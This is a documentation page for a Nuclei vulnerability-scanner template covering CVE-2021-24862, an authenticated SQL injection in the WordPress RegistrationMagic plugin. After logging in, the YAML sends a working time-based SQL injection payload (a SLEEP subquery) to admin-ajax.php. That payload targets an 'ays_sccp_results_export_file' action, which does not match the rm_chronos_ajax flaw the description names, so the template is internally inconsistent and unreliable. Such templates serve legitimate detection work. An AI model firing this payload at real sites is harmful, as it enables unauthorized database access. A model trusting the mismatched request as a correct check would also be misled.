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WordPress RegistrationMagic <5.0.1.6 - Authenticated SQL Injection

ID: CVE-2021-24862

Severity: high

Author: theamanrawat

Tags: time-based-sqli,cve,cve2021,wpscan,wp-plugin,wordpress,wp,registrationmagic,sqli,authenticated,packetstorm,metagauss

Description

Section titled “Description”

WordPress RegistrationMagic plugin before 5.0.1.6 contains an authenticated SQL injection vulnerability. The plugin does not escape user input in its rm_chronos_ajax AJAX action before using it in a SQL statement when duplicating tasks in batches. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. This is a potential issue in both WordPress and WordPress Administrator.

YAML Source

Section titled “YAML Source”
id: CVE-2021-24862


info:
  name: WordPress RegistrationMagic <5.0.1.6 - Authenticated SQL Injection
  author: theamanrawat
  severity: high
  description: |
    WordPress RegistrationMagic plugin before 5.0.1.6 contains an authenticated SQL injection vulnerability. The plugin does not escape user input in its rm_chronos_ajax AJAX action before using it in a SQL statement when duplicating tasks in batches. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. This is a potential issue in both WordPress and WordPress Administrator.
  impact: |
    An authenticated attacker can execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: Fixed in version 5.0.1.6.
  reference:
    - https://wpscan.com/vulnerability/7d3af3b5-5548-419d-aa32-1f7b51622615
    - https://wordpress.org/plugins/custom-registration-form-builder-with-submission-manager/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24862
    - http://packetstormsecurity.com/files/165746/WordPress-RegistrationMagic-V-5.0.1.5-SQL-Injection.html
    - https://github.com/ezelnur6327/ezelnur6327
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2021-24862
    cwe-id: CWE-89
    epss-score: 0.71273
    epss-percentile: 0.98052
    cpe: cpe:2.3:a:metagauss:registrationmagic:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: metagauss
    product: registrationmagic
    framework: wordpress
  tags: time-based-sqli,cve,cve2021,wpscan,wp-plugin,wordpress,wp,registrationmagic,sqli,authenticated,packetstorm,metagauss


http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        @timeout: 10s
        GET /wp-admin/admin-ajax.php?action=ays_sccp_results_export_file&sccp_id[]=3)%20AND%20(SELECT%205921%20FROM%20(SELECT(SLEEP(6)))LxjM)%20AND%20(7754=775&type=json HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-content/plugins/custom-registration-form-builder-with-submission-manager/admin/js/script_rm_utilities.js HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: dsl
        dsl:
          - 'duration_2>=6'
          - 'status_code_2 == 200'
          - 'contains(body_3, "rm_user_role_mananger_form")'
        condition: and
# digest: 4a0a0047304502210089cebd1ff39eb3ac3d8fd39f1d2f29a78efd3355850b2bac5aede18022940c3002202587109d8ac2ea7ba0a23d6f70b5fcd4a486cc823f748d3f5daeebb3f3d9ada5:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-24862.yaml"

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